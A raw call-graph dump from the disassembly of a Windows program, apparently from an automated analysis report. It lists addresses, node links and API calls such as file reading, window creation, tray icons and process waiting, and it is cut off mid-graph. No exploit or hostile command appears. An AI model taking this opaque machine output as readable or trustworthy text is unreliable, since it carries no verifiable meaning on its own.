402107 85415->85431 85417 42c1f1 85420 401a70 75 API calls 85417->85420 85418 402119 85421 42c243 85418->85421 85561 40e7e0 76 API calls 85418->85561 85427 4020e5 _wcscpy 85419->85427 85422 42c201 85420->85422 85422->85423 85425 401a70 75 API calls 85423->85425 85435 402148 85425->85435 85426 402132 85562 40d030 76 API calls 85426->85562 85429 401a70 75 API calls 85427->85429 85429->85431 85430 40213e 85432 4092c0 VariantClear 85430->85432 85431->85418 85431->85423 85432->85435 85433 402184 85437 4092c0 VariantClear 85433->85437 85435->85433 85438 401a70 75 API calls 85435->85438 85563 40d030 76 API calls 85435->85563 85564 40e640 76 API calls 85435->85564 85439 402196 ctype 85437->85439 85438->85435 85439->85330 85441 42ccf4 _memset 85440->85441 85442 40f3c9 85440->85442 85445 42cd05 GetOpenFileNameW 85441->85445 86242 40ffb0 76 API calls ctype 85442->86242 85444 40f3d2 86243 410130 SHGetMalloc 85444->86243 85445->85442 85447 40d732 85445->85447 85447->85338 85447->85340 85448 40f3d9 86248 410020 88 API calls __wcsicoll 85448->86248 85450 40f3e7 86249 40f400 85450->86249 85453 42b9d3 85452->85453 85454 41025a LoadImageW RegisterClassExW 85452->85454 86301 443e8f EnumResourceNamesW LoadImageW 85453->86301 86300 4102f0 7 API calls 85454->86300 85457 40d790 85459 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 85457->85459 85458 42b9da 85459->85352 85462 40e207 _memset 85460->85462 85461 40e262 85463 40e2a4 85461->85463 86302 43737d 84 API calls __wcsicoll 85461->86302 85462->85461 85464 42aa14 DestroyIcon 85462->85464 85466 40e2c0 Shell_NotifyIconW 85463->85466 85467 42aa50 Shell_NotifyIconW 85463->85467 85464->85461 85468 401be0 77 API calls 85466->85468 85469 40e2da 85468->85469 85469->85359 85470->85340 85471->85353 85472->85340 85473->85346 85475 401b76 _wcslen 85474->85475 85476 41171a 75 API calls 85475->85476 85478 401bc5 85475->85478 85477 401bad _memcpy_s 85476->85477 85479 41171a 75 API calls 85477->85479 85480 40d3b0 75 API calls 2 library calls 85478->85480 85479->85478 85480->85360 85481->85363 85483 40c060 75 API calls 85482->85483 85484 401f90 85483->85484 85485 402940 85484->85485 85486 40294a __write_nolock 85485->85486 85487 4021e0 75 API calls 85486->85487 85489 402972 85487->85489 85493 4029a4 85489->85493 85566 401cf0 85489->85566 85490 402ae0 75 API calls 85490->85493 85491 402abe 85491->85374 85492 402a8c 85492->85491 85494 401b70 75 API calls 85492->85494 85493->85490 85493->85492 85495 401b70 75 API calls 85493->85495 85498 401cf0 75 API calls 85493->85498 85569 40d970 75 API calls 2 library calls 85493->85569 85496 402ab3 85494->85496 85495->85493 85570 40d970 75 API calls 2 library calls 85496->85570 85498->85493 85571 40f5e0 85500->85571 85503 40ffa6 85503->85376 85505 42b6d8 85506 42b6e6 85505->85506 85627 434fe1 85505->85627 85507 413a88 __output_l 67 API calls 85506->85507 85509 42b6f5 85507->85509 85510 434fe1 106 API calls 85509->85510 85511 42b702 85510->85511 85511->85376 85513 41171a 75 API calls 85512->85513 85514 401fd6 85513->85514 85514->85379 85516 401a03 85515->85516 85517 4019e5 85515->85517 85516->85517 85518 401a1a 85516->85518 85519 4019ff 85517->85519 86230 404260 76 API calls 85517->86230 86231 404260 76 API calls 85518->86231 85519->85382 85521 401a26 85521->85382 85524 40c3e4 85523->85524 85525 40c42c 85523->85525 85528 40c3f0 85524->85528 85529 42a475 85524->85529 85526 42a422 85525->85526 85527 40c435 85525->85527 85531 42a427 85526->85531 85532 42a445 85526->85532 85533 40c441 85527->85533 85538 42a455 85527->85538 86232 4042f0 75 API calls __cinit 85528->86232 86237 453155 75 API calls 85529->86237 85539 40c3fb 85531->85539 86234 453155 75 API calls 85531->86234 86235 453155 75 API calls 85532->86235 86233 4042f0 75 API calls __cinit 85533->86233 86236 453155 75 API calls 85538->86236 85539->85392 85542 41171a 75 API calls 85541->85542 85543 40c088 85542->85543 85544 41171a 75 API calls 85543->85544 85545 402061 85544->85545 85546 401a70 85545->85546 85547 401a90 85546->85547 85548 401a77 85546->85548 85550 4021e0 75 API calls 85547->85550 85549 401a8d 85548->85549 86238 404080 75 API calls _memcpy_s 85548->86238 85549->85396 85552 401a9c 85550->85552 85552->85396 85554 4115e1 85553->85554 85555 411650 85553->85555 85560 40207d 85554->85560 86239 417f23 67 API calls __getptd_noexit 85554->86239 86241 4114bf 79 API calls 3 library calls 85555->86241 85558 4115ed 86240 417ebb 6 API calls 2 library calls 85558->86240 85560->85399 85560->85400 85561->85426 85562->85430 85563->85435 85564->85435 85565->85417 85567 402ae0 75 API calls 85566->85567 85568 401cf7 85567->85568 85568->85489 85569->85493 85570->85491 85631 40f580 85571->85631 85573 40f5f8 _strcat ctype 85639 40f6d0 85573->85639 85578 42b2ee 85668 4151b0 85578->85668 85580 40f679 85580->85578 85581 40f681 85580->85581 85655 414e94 85581->85655 85585 40f68b 85585->85503 85590 452574 85585->85590 85587 42b31d 85674 415484 85587->85674 85589 42b33d 85591 41557c _fseek 105 API calls 85590->85591 85592 4525df 85591->85592 86175 4523ce 85592->86175 85595 4525fc 85595->85505 85596 4151b0 __fread_nolock 81 API calls 85597 45261d 85596->85597 85598 4151b0 __fread_nolock 81 API calls 85597->85598 85599 45262e 85598->85599 85600 4151b0 __fread_nolock 81 API calls 85599->85600 85601 452649 85600->85601 85602 4151b0 __fread_nolock 81 API calls 85601->85602 85603 452666 85602->85603 85604 41557c _fseek 105 API calls 85603->85604 85605 452682 85604->85605 85606 4138ba _malloc 67 API calls 85605->85606 85607 45268e 85606->85607 85608 4138ba _malloc 67 API calls 85607->85608 85609 45269b 85608->85609 85610 4151b0 __fread_nolock 81 API calls 85609->85610 85611 4526ac 85610->85611 85612 44afdc GetSystemTimeAsFileTime 85611->85612 85613 4526bf 85612->85613 85614 4526d5 85613->85614 85615 4526fd 85613->85615 85616 413a88 __output_l 67 API calls 85614->85616 85617 452704 85615->85617 85618 45275b 85615->85618 85619 4526df 85616->85619 86181 44b195 85617->86181 85621 413a88 __output_l 67 API calls 85618->85621 85622 413a88 __output_l 67 API calls 85619->85622 85624 452759 85621->85624 85625 4526e8 85622->85625 85623 452753 85626 413a88 __output_l 67 API calls 85623->85626 85624->85505 85625->85505 85626->85624 85628 434ff1 85627->85628 85629 434feb 85627->85629 85628->85506 85630 414e94 __fcloseall 106 API calls 85629->85630 85630->85628 85632 429440 85631->85632 85633 40f589 _wcslen 85631->85633 85634 40f58f WideCharToMultiByte 85633->85634 85635 40f5d8 85634->85635 85636 40f5ad 85634->85636 85635->85573 85637 41171a 75 API calls 85636->85637 85638 40f5bb WideCharToMultiByte 85637->85638 85638->85573 85640 40f6dd _strlen 85639->85640 85687 40f790 85640->85687 85643 414e06 85706 414d40 85643->85706 85645 40f666 85645->85578 85646 40f450 85645->85646 85650 40f45a _strcat _memcpy_s __write_nolock 85646->85650 85647 4151b0 __fread_nolock 81 API calls 85647->85650 85648 40f531 85648->85580 85650->85647 85650->85648 85651 42936d 85650->85651 85789 41557c 85650->85789 85652 41557c _fseek 105 API calls 85651->85652 85653 429394 85652->85653 85654 4151b0 __fread_nolock 81 API calls 85653->85654 85654->85648 85656 414ea0 __locking 85655->85656 85657 414ed1 85656->85657 85658 414eb4 85656->85658 85660 415965 __lock_file 68 API calls 85657->85660 85665 414ec9 __locking 85657->85665 85928 417f23 67 API calls __getptd_noexit 85658->85928 85662 414ee9 85660->85662 85661 414eb9 85929 417ebb 6 API calls 2 library calls 85661->85929 85912 414e1d 85662->85912 85665->85585 85997 41511a 85668->85997 85670 4151c8 85671 44afdc 85670->85671 86168 4431e0 85671->86168 85673 44affd 85673->85587 85675 415490 __locking 85674->85675 85676 4154bb 85675->85676 85677 41549e 85675->85677 85679 415965 __lock_file 68 API calls 85676->85679 86172 417f23 67 API calls __getptd_noexit 85677->86172 85681 4154c3 85679->85681 85680 4154a3 86173 417ebb 6 API calls 2 library calls 85680->86173 85683 4152e7 __ftell_nolock 71 API calls 85681->85683 85684 4154cf 85683->85684 86174 4154e8 LeaveCriticalSection LeaveCriticalSection __wfsopen 85684->86174 85685 4154b3 __locking 85685->85589 85688 40f7ae _memset 85687->85688 85690 40f628 85688->85690 85691 415258 85688->85691 85690->85643 85692 415285 85691->85692 85693 415268 85691->85693 85692->85693 85695 41528c 85692->85695 85702 417f23 67 API calls __getptd_noexit 85693->85702 85704 41c551 103 API calls 12 library calls 85695->85704 85696 41526d 85703 417ebb 6 API calls 2 library calls 85696->85703 85699 4152b2 85700 41527d 85699->85700 85705 4191c9 101 API calls 7 library calls 85699->85705 85700->85688 85702->85696 85704->85699 85705->85700 85707 414d4c __locking 85706->85707 85708 414d5f 85707->85708 85710 414d95 85707->85710 85758 417f23 67 API calls __getptd_noexit 85708->85758 85725 41e28c 85710->85725 85711 414d64 85759 417ebb 6 API calls 2 library calls 85711->85759 85714 414d9a 85715 414da1 85714->85715 85716 414dae 85714->85716 85760 417f23 67 API calls __getptd_noexit 85715->85760 85718 414dd6 85716->85718 85719 414db6 85716->85719 85743 41dfd8 85718->85743 85761 417f23 67 API calls __getptd_noexit 85719->85761 85723 414d74 __locking @_EH4_CallFilterFunc@8 85723->85645 85726 41e298 __locking 85725->85726 85727 418407 __lock 67 API calls 85726->85727 85738 41e2a6 85727->85738 85728 41e31b 85763 41e3bb 85728->85763 85729 41e322 85731 416fb6 __malloc_crt 67 API calls 85729->85731 85733 41e32c 85731->85733 85732 41e3b0 __locking 85732->85714 85733->85728 85768 4189e6 InitializeCriticalSectionAndSpinCount __locking 85733->85768 85735 418344 __mtinitlocknum 67 API calls 85735->85738 85737 41e351 85739 41e35c 85737->85739 85740 41e36f EnterCriticalSection 85737->85740 85738->85728 85738->85729 85738->85735 85766 4159a6 68 API calls __lock 85738->85766 85767 415a14 LeaveCriticalSection LeaveCriticalSection _doexit 85738->85767 85742 413a88 __output_l 67 API calls 85739->85742 85740->85728 85742->85728 85751 41dffb __wopenfile 85743->85751 85744 41e015 85773 417f23 67 API calls __getptd_noexit 85744->85773 85745 41e1e9 85745->85744 85748 41e247 85745->85748 85747 41e01a 85774 417ebb 6 API calls 2 library calls 85747->85774 85770 425db0 85748->85770 85751->85744 85751->85745 85775 4136bc 79 API calls 2 library calls 85751->85775 85754 41e1e2 85754->85745 85776 4136bc 79 API calls 2 library calls 85754->85776 85756 41e201 85756->85745 85777 4136bc 79 API calls 2 library calls 85756->85777 85758->85711 85760->85723 85761->85723 85762 414dfc LeaveCriticalSection LeaveCriticalSection __wfsopen 85762->85723 85769 41832d LeaveCriticalSection 85763->85769 85765 41e3c2 85765->85732 85766->85738 85767->85738 85768->85737 85769->85765 85778 425ce4 85770->85778 85772 414de1 85772->85762 85773->85747 85775->85754 85776->85756 85777->85745 85779 425cf0 __locking 85778->85779 85780 425d03 85779->85780 85783 425d41 85779->85783 85781 417f23 __fptostr 67 API calls 85780->85781 85782 425d08 85781->85782 85784 417ebb __fptostr 6 API calls 85782->85784 85785 4255c4 __tsopen_nolock 132 API calls 85783->85785 85788 425d17 __locking 85784->85788 85786 425d5b 85785->85786 85787 425d82 __sopen_helper LeaveCriticalSection 85786->85787 85787->85788 85788->85772 85792 415588 __locking 85789->85792 85790 415596 85820 417f23 67 API calls __getptd_noexit 85790->85820 85791 4155c4 85802 415965 85791->85802 85792->85790 85792->85791 85795 41559b 85821 417ebb 6 API calls 2 library calls 85795->85821 85801 4155ab __locking 85801->85650 85803 415977 85802->85803 85804 415999 EnterCriticalSection 85802->85804 85803->85804 85805 41597f 85803->85805 85806 4155cc 85804->85806 85807 418407 __lock 67 API calls 85805->85807 85808 4154f2 85806->85808 85807->85806 85809 415502 85808->85809 85812 415512 85808->85812 85877 417f23 67 API calls __getptd_noexit 85809->85877 85811 415524 85840 41486c 85811->85840 85812->85811 85823 4152e7 85812->85823 85815 415507 85822 4155f7 LeaveCriticalSection LeaveCriticalSection __wfsopen 85815->85822 85820->85795 85822->85801 85824 41531a 85823->85824 85825 4152fa 85823->85825 85827 41453a __fileno 67 API calls 85824->85827 85878 417f23 67 API calls __getptd_noexit 85825->85878 85829 415320 85827->85829 85828 4152ff 85879 417ebb 6 API calls 2 library calls 85828->85879 85831 41efd4 __locking 71 API calls 85829->85831 85832 415335 85831->85832 85833 4153a9 85832->85833 85835 415364 85832->85835 85839 41530f 85832->85839 85880 417f23 67 API calls __getptd_noexit 85833->85880 85836 41efd4 __locking 71 API calls 85835->85836 85835->85839 85837 415404 85836->85837 85838 41efd4 __locking 71 API calls 85837->85838 85837->85839 85838->85839 85839->85811 85841 414885 85840->85841 85845 4148a7 85840->85845 85842 41453a __fileno 67 API calls 85841->85842 85841->85845 85843 4148a0 85842->85843 85881 41c3cf 101 API calls 4 library calls 85843->85881 85846 41453a 85845->85846 85847 41455e 85846->85847 85848 414549 85846->85848 85852 41efd4 85847->85852 85882 417f23 67 API calls __getptd_noexit 85848->85882 85850 41454e 85883 417ebb 6 API calls 2 library calls 85850->85883 85853 41efe0 __locking 85852->85853 85854 41f003 85853->85854 85855 41efe8 85853->85855 85856 41f011 85854->85856 85862 41f052 85854->85862 85904 417f36 67 API calls __getptd_noexit 85855->85904 85906 417f36 67 API calls __getptd_noexit 85856->85906 85859 41efed 85905 417f23 67 API calls __getptd_noexit 85859->85905 85861 41f016 85907 417f23 67 API calls __getptd_noexit 85861->85907 85884 41ba3b 85862->85884 85863 41eff5 __locking 85863->85815 85866 41f01d 85908 417ebb 6 API calls 2 library calls 85866->85908 85867 41f058 85868 41f065 85867->85868 85869 41f07b 85867->85869 85894 41ef5f 85868->85894 85909 417f23 67 API calls __getptd_noexit 85869->85909 85873 41f073 85911 41f0a6 LeaveCriticalSection __unlock_fhandle 85873->85911 85874 41f080 85910 417f36 67 API calls __getptd_noexit 85874->85910 85877->85815 85878->85828 85880->85839 85881->85845 85882->85850 85885 41ba47 __locking 85884->85885 85886 41baa2 85885->85886 85887 418407 __lock 67 API calls 85885->85887 85888 41bac4 __locking 85886->85888 85889 41baa7 EnterCriticalSection 85886->85889 85890 41ba73 85887->85890 85888->85867 85889->85888 85891 41ba8a 85890->85891 85892 4189e6 ___lock_fhandle InitializeCriticalSectionAndSpinCount 85890->85892 85893 41bad2 ___lock_fhandle LeaveCriticalSection 85891->85893 85892->85891 85893->85886 85895 41b9c4 __close_nolock 67 API calls 85894->85895 85896 41ef6e 85895->85896 85897 41ef84 SetFilePointer 85896->85897 85898 41ef74 85896->85898 85899 41efa3 85897->85899 85900 41ef9b GetLastError 85897->85900 85901 417f23 __fptostr 67 API calls 85898->85901 85902 41ef79 85899->85902 85903 417f49 __dosmaperr 67 API calls 85899->85903 85900->85899 85901->85902 85902->85873 85903->85902 85904->85859 85905->85863 85906->85861 85907->85866 85909->85874 85910->85873 85911->85863 85913 414e31 85912->85913 85914 414e4d 85912->85914 85958 417f23 67 API calls __getptd_noexit 85913->85958 85915 414e46 85914->85915 85917 41486c __flush 101 API calls 85914->85917 85930 414f08 LeaveCriticalSection LeaveCriticalSection __wfsopen 85915->85930 85919 414e59 85917->85919 85918 414e36 85959 417ebb 6 API calls 2 library calls 85918->85959 85931 41e680 85919->85931 85923 41453a __fileno 67 API calls 85924 414e67 85923->85924 85935 41e5b3 85924->85935 85926 414e6d 85926->85915 85927 413a88 __output_l 67 API calls 85926->85927 85927->85915 85928->85661 85930->85665 85932 41e690 85931->85932 85933 414e61 85931->85933 85932->85933 85934 413a88 __output_l 67 API calls 85932->85934 85933->85923 85934->85933 85936 41e5bf __locking 85935->85936 85937 41e5e2 85936->85937 85938 41e5c7 85936->85938 85940 41e5f0 85937->85940 85943 41e631 85937->85943 85975 417f36 67 API calls __getptd_noexit 85938->85975 85977 417f36 67 API calls __getptd_noexit 85940->85977 85941 41e5cc 85976 417f23 67 API calls __getptd_noexit 85941->85976 85946 41ba3b ___lock_fhandle 68 API calls 85943->85946 85945 41e5f5 85978 417f23 67 API calls __getptd_noexit 85945->85978 85948 41e637 85946->85948 85950 41e652 85948->85950 85951 41e644 85948->85951 85949 41e5fc 85979 417ebb 6 API calls 2 library calls 85949->85979 85980 417f23 67 API calls __getptd_noexit 85950->85980 85960 41e517 85951->85960 85955 41e5d4 __locking 85955->85926 85956 41e64c 85981 41e676 LeaveCriticalSection __unlock_fhandle 85956->85981 85958->85918 85982 41b9c4 85960->85982 85962 41e57d 85995 41b93e 68 API calls 2 library calls 85962->85995 85964 41e527 85964->85962 85966 41b9c4 __close_nolock 67 API calls 85964->85966 85974 41e55b 85964->85974 85965 41b9c4 __close_nolock 67 API calls 85967 41e567 CloseHandle 85965->85967 85970 41e552 85966->85970 85967->85962 85971 41e573 GetLastError 85967->85971 85968 41e585 85969 41e5a7 85968->85969 85996 417f49 67 API calls 3 library calls 85968->85996 85969->85956 85973 41b9c4 __close_nolock 67 API calls 85970->85973 85971->85962 85973->85974 85974->85962 85974->85965 85975->85941 85976->85955 85977->85945 85978->85949 85980->85956 85981->85955 85983 41b9d1 85982->85983 85984 41b9e9 85982->85984 85985 417f36 __locking 67 API calls 85983->85985 85987 417f36 __locking 67 API calls 85984->85987 85991 41ba2e 85984->85991 85986 41b9d6 85985->85986 85989 417f23 __fptostr 67 API calls 85986->85989 85988 41ba17 85987->85988 85990 417f23 __fptostr 67 API calls 85988->85990 85992 41b9de 85989->85992 85993 41ba1e 85990->85993 85991->85964 85992->85964 85994 417ebb __fptostr 6 API calls 85993->85994 85994->85991 85995->85968 85996->85969 85998 415126 __locking 85997->85998 85999 41513a _memset 85998->85999 86000 41516f 85998->86000 86008 415164 __locking 85998->86008 86026 417f23 67 API calls __getptd_noexit 85999->86026 86001 415965 __lock_file 68 API calls 86000->86001 86002 415177 86001->86002 86010 414f10 86002->86010 86004 415154 86027 417ebb 6 API calls 2 library calls 86004->86027 86008->85670 86011 414f4c 86010->86011 86014 414f2e _memset 86010->86014 86028 4151a6 LeaveCriticalSection LeaveCriticalSection __wfsopen 86011->86028 86012 414f37 86079 417f23 67 API calls __getptd_noexit 86012->86079 86014->86011 86014->86012 86016 414f8b 86014->86016 86016->86011 86018 4150d5 _memset 86016->86018 86020 4150a9 _memset 86016->86020 86021 41453a __fileno 67 API calls 86016->86021 86029 41ed9e 86016->86029 86059 41e6b1 86016->86059 86081 41ee9b 67 API calls 3 library calls 86016->86081 86083 417f23 67 API calls __getptd_noexit 86018->86083 86082 417f23 67 API calls __getptd_noexit 86020->86082 86021->86016 86025 414f3c 86080 417ebb 6 API calls 2 library calls 86025->86080 86026->86004 86028->86008 86030 41edaa __locking 86029->86030 86031 41edb2 86030->86031 86032 41edcd 86030->86032 86153 417f36 67 API calls __getptd_noexit 86031->86153 86034 41eddb 86032->86034 86037 41ee1c 86032->86037 86155 417f36 67 API calls __getptd_noexit 86034->86155 86035 41edb7 86154 417f23 67 API calls __getptd_noexit 86035->86154 86040 41ee29 86037->86040 86041 41ee3d 86037->86041 86039 41ede0 86156 417f23 67 API calls __getptd_noexit 86039->86156 86158 417f36 67 API calls __getptd_noexit 86040->86158 86045 41ba3b ___lock_fhandle 68 API calls 86041->86045 86042 41edbf __locking 86042->86016 86048 41ee43 86045->86048 86046 41ede7 86157 417ebb 6 API calls 2 library calls 86046->86157 86047 41ee2e 86159 417f23 67 API calls __getptd_noexit 86047->86159 86051 41ee50 86048->86051 86052 41ee66 86048->86052 86084 41e7dc 86051->86084 86160 417f23 67 API calls __getptd_noexit 86052->86160 86055 41ee6b 86161 417f36 67 API calls __getptd_noexit 86055->86161 86056 41ee5e 86162 41ee91 LeaveCriticalSection __unlock_fhandle 86056->86162 86060 41e6c1 86059->86060 86061 41e6de 86059->86061 86166 417f23 67 API calls __getptd_noexit 86060->86166 86065 41e713 86061->86065 86071 41e6d6 86061->86071 86163 423600 86061->86163 86063 41e6c6 86167 417ebb 6 API calls 2 library calls 86063->86167 86067 41453a __fileno 67 API calls 86065->86067 86068 41e727 86067->86068 86069 41ed9e __read 79 API calls 86068->86069 86070 41e72e 86069->86070 86070->86071 86072 41453a __fileno 67 API calls 86070->86072 86071->86016 86073 41e751 86072->86073 86073->86071 86074 41453a __fileno 67 API calls 86073->86074 86075 41e75d 86074->86075 86075->86071 86076 41453a __fileno 67 API calls 86075->86076 86077 41e769 86076->86077 86078 41453a __fileno 67 API calls 86077->86078 86078->86071 86079->86025 86081->86016 86082->86025 86083->86025 86085 41e813 86084->86085 86086 41e7f8 86084->86086 86088 41e822 86085->86088 86090 41e849 86085->86090 86087 417f36 __locking 67 API calls 86086->86087 86089 41e7fd 86087->86089 86091 417f36 __locking 67 API calls 86088->86091 86092 417f23 __fptostr 67 API calls 86089->86092 86094 41e868 86090->86094 86106 41e87c 86090->86106 86093 41e827 86091->86093 86107 41e805 86092->86107 86097 417f23 __fptostr 67 API calls 86093->86097 86095 417f36 __locking 67 API calls 86094->86095 86098 41e86d 86095->86098 86096 41e8d4 86100 417f36 __locking 67 API calls 86096->86100 86099 41e82e 86097->86099 86102 417f23 __fptostr 67 API calls 86098->86102 86103 417ebb __fptostr 6 API calls 86099->86103 86101 41e8d9 86100->86101 86104 417f23 __fptostr 67 API calls 86101->86104 86105 41e874 86102->86105 86103->86107 86104->86105 86109 417ebb __fptostr 6 API calls 86105->86109 86106->86096 86106->86107 86108 41e8b0 86106->86108 86110 41e8f5 86106->86110 86107->86056 86108->86096 86113 41e8bb ReadFile 86108->86113 86109->86107 86112 416fb6 __malloc_crt 67 API calls 86110->86112 86114 41e90b 86112->86114 86115 41ed62 GetLastError 86113->86115 86116 41e9e7 86113->86116 86119 41e931 86114->86119 86120 41e913 86114->86120 86117 41ebe8 86115->86117 86118 41ed6f 86115->86118 86116->86115 86121 41e9fb 86116->86121 86128 417f49 __dosmaperr 67 API calls 86117->86128 86134 41eb6d 86117->86134 86123 417f23 __fptostr 67 API calls 86118->86123 86122 423462 __lseeki64_nolock 69 API calls 86119->86122 86124 417f23 __fptostr 67 API calls 86120->86124 86132 41ea17 86121->86132 86121->86134 86137 41ec2d 86121->86137 86125 41e93d 86122->86125 86126 41ed74 86123->86126 86127 41e918 86124->86127 86125->86113 86129 417f36 __locking 67 API calls 86126->86129 86130 417f36 __locking 67 API calls 86127->86130 86128->86134 86129->86134 86130->86107 86131 413a88 __output_l 67 API calls 86131->86107 86133 41eafa 86132->86133 86136 41ea7d ReadFile 86132->86136 86133->86134 86142 41eb75 86133->86142 86143 41eb68 86133->86143 86148 41eb32 86133->86148 86134->86107 86134->86131 86135 41eca5 ReadFile 86139 41ecc4 GetLastError 86135->86139 86151 41ecce 86135->86151 86138 41ea9b GetLastError 86136->86138 86150 41eaa5 86136->86150 86137->86134 86137->86135 86138->86132 86138->86150 86139->86137 86139->86151 86140 41ebbe MultiByteToWideChar 86140->86134 86141 41ebe2 GetLastError 86140->86141 86141->86117 86145 41ebac 86142->86145 86142->86148 86144 417f23 __fptostr 67 API calls 86143->86144 86144->86134 86149 423462 __lseeki64_nolock 69 API calls 86145->86149 86146 423462 __lseeki64_nolock 69 API calls 86146->86150 86147 423462 __lseeki64_nolock 69 API calls 86147->86151 86148->86140 86152 41ebbb 86149->86152 86150->86132 86150->86146 86151->86137 86151->86147 86152->86140 86153->86035 86154->86042 86155->86039 86156->86046 86158->86047 86159->86046 86160->86055 86161->86056 86162->86042 86164 416fb6 __malloc_crt 67 API calls 86163->86164 86165 423615 86164->86165 86165->86065 86166->86063 86171 414cef GetSystemTimeAsFileTime __aulldiv 86168->86171 86170 4431ef 86170->85673 86171->86170 86172->85680 86174->85685 86180 4523e1 _wcscpy 86175->86180 86176 4151b0 81 API calls __fread_nolock 86176->86180 86177 44afdc GetSystemTimeAsFileTime 86177->86180 86178 452553 86178->85595 86178->85596 86179 41557c 105 API calls _fseek 86179->86180 86180->86176 86180->86177 86180->86178 86180->86179 86182 44b1b4 86181->86182 86183 44b1a6 86181->86183 86185 44b1c2 86182->86185 86186 44b1ca 86182->86186 86187 414e06 138 API calls 86182->86187 86184 414e06 138 API calls 86183->86184 86184->86182 86185->85623 86216 4352d1 81 API calls 2 library calls 86186->86216 86189 44b2c1 86187->86189 86189->86186 86191 44b2cf 86189->86191 86190 44b20d 86192 44b211 86190->86192 86193 44b23b 86190->86193 86194 44b2dc 86191->86194 86195 414e94 __fcloseall 106 API calls 86191->86195 86197 44b21e 86192->86197 86199 414e94 __fcloseall 106 API calls 86192->86199 86217 43526e 86193->86217 86194->85623 86195->86194 86200 44b22e 86197->86200 86203 414e94 __fcloseall 106 API calls 86197->86203 86198 44b242 86201 44b270 86198->86201 86202 44b248 86198->86202 86199->86197 86200->85623 86227 44b0af 111 API calls 86201->86227 86204 44b255 86202->86204 86206 414e94 __fcloseall 106 API calls 86202->86206 86203->86200 86207 44b265 86204->86207 86209 414e94 __fcloseall 106 API calls 86204->86209 86206->86204 86207->85623 86208 44b276 86228 43522c 67 API calls __output_l 86208->86228 86209->86207 86211 44b27c 86212 44b289 86211->86212 86213 414e94 __fcloseall 106 API calls 86211->86213 86214 44b299 86212->86214 86215 414e94 __fcloseall 106 API calls 86212->86215 86213->86212 86214->85623 86215->86214 86216->86190 86218 4138ba _malloc 67 API calls 86217->86218 86219 43527d 86218->86219 86220 4138ba _malloc 67 API calls 86219->86220 86221 43528d 86220->86221 86222 4138ba _malloc 67 API calls 86221->86222 86223 43529d 86222->86223 86225 4352bc 86223->86225 86229 43522c 67 API calls __output_l 86223->86229 86225->86198 86226 4352c8 86226->86198 86227->86208 86228->86211 86229->86226 86230->85519 86231->85521 86232->85539 86233->85539 86234->85539 86235->85538 86236->85539 86237->85539 86238->85549 86239->85558 86241->85560 86242->85444 86244 410148 SHGetDesktopFolder 86243->86244 86245 4101a3 _wcscpy 86243->86245 86244->86245 86246 41015a _wcscpy 86244->86246 86245->85448 86246->86245 86247 41018a SHGetPathFromIDListW 86246->86247 86247->86245 86248->85450 86250 40f5e0 152 API calls 86249->86250 86251 40f417 86250->86251 86252 42ca37 86251->86252 86254 40f42c 86251->86254 86255 42ca1f 86251->86255 86253 452574 140 API calls 86252->86253 86256 42ca50 86253->86256 86294 4037e0 139 API calls 7 library calls 86254->86294 86295 43717f 110 API calls _printf 86255->86295 86259 42ca76 86256->86259 86260 42ca54 86256->86260 86264 41171a 75 API calls 86259->86264 86263 434fe1 106 API calls 86260->86263 86261 40f446 86261->85447 86262 42ca2d 86262->86252 86265 42ca5e 86263->86265 86279 42cacc ctype 86264->86279 86296 43717f 110 API calls _printf 86265->86296 86267 42ca6c 86267->86259 86268 42ccc3 86269 413a88 __output_l 67 API calls 86268->86269 86270 42cccd 86269->86270 86271 434fe1 106 API calls 86270->86271 86272 42ccda 86271->86272 86276 401b70 75 API calls 86276->86279 86279->86268 86279->86276 86280 402cc0 86279->86280 86288 4026a0 86279->86288 86297 445051 75 API calls _memcpy_s 86279->86297 86298 44c80c 87 API calls 3 library calls 86279->86298 86299 44b408 75 API calls 86279->86299 86281 402d71 86280->86281 86282 402cd2 _memcpy_s ctype 86280->86282 86284 41171a 75 API calls 86281->86284 86283 41171a 75 API calls 86282->86283 86285 402cd9 86283->86285 86284->86282 86286 41171a 75 API calls 86285->86286 86287 402cff 86285->86287 86286->86287 86287->86279 86289 4026af 86288->86289 86291 40276b 86288->86291 86290 41171a 75 API calls 86289->86290 86289->86291 86292 4026ee ctype 86289->86292 86290->86292 86291->86279 86292->86291 86293 41171a 75 API calls 86292->86293 86293->86292 86294->86261 86295->86262 86296->86267 86297->86279 86298->86279 86299->86279 86300->85457 86301->85458 86302->85463 86303 431914 86304 431920 86303->86304 86305 431928 86304->86305 86306 43193d 86304->86306 86567 45e62e 116 API calls 3 library calls 86305->86567 86568 47f2b4 174 API calls 86306->86568 86309 43194a 86344 4095b0 ctype 86309->86344 86569 45e62e 116 API calls 3 library calls 86309->86569 86310 409708 86313 4097af 86313->86310 86554 40d590 VariantClear 86313->86554 86315 4315b8 WaitForSingleObject 86317 4315d6 GetExitCodeProcess CloseHandle 86315->86317 86315->86344 86316 431623 Sleep 86319 43163b timeGetTime 86316->86319 86341 409894 86316->86341 86558 40d590 VariantClear 86317->86558 86319->86341 86323 40986e Sleep 86325 409880 timeGetTime 86323->86325 86323->86341 86325->86341 86326 4098f1 TranslateMessage DispatchMessageW 86326->86344 86327 431673 CloseHandle 86327->86341 86328 43170c GetExitCodeProcess CloseHandle 86328->86341 86329 40d590 VariantClear 86329->86341 86330 46dd22 133 API calls 86330->86341 86332 46e641 134 API calls 86332->86341 86335 431781 Sleep 86335->86344 86339 45e62e 116 API calls 86339->86344 86341->86327 86341->86328 86341->86329 86341->86330 86341->86332 86341->86335 86341->86344 86346 4092c0 VariantClear 86341->86346 86555 447e59 75 API calls 86341->86555 86556 453b07 77 API calls 86341->86556 86557 4646a2 76 API calls 86341->86557 86559 444233 88 API calls _wcslen 86341->86559 86560 457509 VariantClear 86341->86560 86561 404120 86341->86561 86565 4717e3 VariantClear 86341->86565 86566 436272 6 API calls 86341->86566 86344->86310 86344->86313 86344->86315 86344->86316 86344->86323 86344->86326 86344->86339 86344->86341 86345 4319c9 VariantClear 86344->86345 86347 4092c0 VariantClear 86344->86347 86349 40b380 86344->86349 86373 409340 86344->86373 86406 409030 86344->86406 86420 40d300 86344->86420 86425 40d320 86344->86425 86431 409a40 86344->86431 86570 40e380 VariantClear ctype 86344->86570 86345->86344 86346->86341 86347->86344 86350 40b3a5 86349->86350 86351 40b53d 86349->86351 86352 430a99 86350->86352 86358 40b3b6 86350->86358 86571 45e62e 116 API calls 3 library calls 86351->86571 86572 45e62e 116 API calls 3 library calls 86352->86572 86355 430aae 86360 4092c0 VariantClear 86355->86360 86356 40b528 86356->86344 86358->86355 86361 40b3f2 86358->86361 86372 40b4fd ctype 86358->86372 